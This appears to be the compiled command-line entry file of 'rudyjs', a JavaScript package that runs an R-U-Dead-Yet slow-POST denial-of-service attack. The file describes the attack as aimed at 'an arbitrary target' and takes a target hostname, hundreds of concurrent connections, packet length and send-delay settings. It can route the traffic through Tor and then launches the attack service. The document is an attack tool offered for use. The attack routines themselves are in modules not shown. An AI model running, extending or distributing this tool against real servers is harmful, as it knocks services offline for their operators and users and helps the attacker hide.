rudyjs
Version:
R-U-DEAD-YET ?
62 lines (61 loc) • 2.5 kB
JavaScript
;
Object.defineProperty(exports, "__esModule", { value: true });
const program = require("commander");
const ascii_1 = require("./utils/ascii");
const error_model_1 = require("./models/error.model");
const rudy_service_1 = require("./service/rudy.service");
const logger_1 = require("./utils/logger");
const generatePayload_1 = require("./scripts/generatePayload");
const network_service_1 = require("./service/network.service");
const logCategory = "RUDY_CLI";
program
.version("1.0.0")
.description("Processes the RUDY attack on an arbitrary target.")
.option("-t, --target <string>", "Hostname of the target to focus")
.option("-l, --length <number>", "Length of the TCP Packet (Default : Large Number)")
.option("-n, --numberOfConnections <number>", "Amount of clients that are going to contact the server. (Default: 500)")
.option("-m, --method <string>", "HTTP Request Method. (Default: POST)")
.option("-d, --delay <number>", "Wait <seconds> before sending another TCP Packet. (Default: 2)")
.option("-v, --verbose", "Enable Verbose Logs (Default: false)")
.option("-p, --useTor", "Use Tor Proxy. (Default: false)")
.option("-u, --torUrl <string>", "Custom Tor Server Url (Default: 127.0.0.1)")
.option("-o, --torPort <number>", "Custom Tor Server Port Number (Default: 9050)");
program
.command("generatePayload <charCount>")
.action((charCount, cmd) => {
const script = new generatePayload_1.default(charCount).run();
});
program
.parse(process.argv);
var rudyService = null;
ascii_1.default.showInfo()
.then(() => {
if (program.target == null) {
throw error_model_1.TargetNotFound;
}
if (program.verbose) {
logger_1.default.setLogLevel(logger_1.LogLevel.VERBOSE);
}
if (program.torUrl != null || program.torPort != null) {
network_service_1.default.setTorAddress({ url: program.torUrl, port: program.torPort });
}
const config = {
target: program.target,
method: program.method,
packet_len: program.length,
maxConnections: program.numberOfConnections,
delay: program.delay,
shouldUseTor: program.useTor,
};
return config;
})
.then((config) => {
rudyService = new rudy_service_1.default(config);
rudyService.attack();
})
.catch((error) => {
logger_1.default.error({ message: error.message, category: error.category });
program.help();
process.exit();
});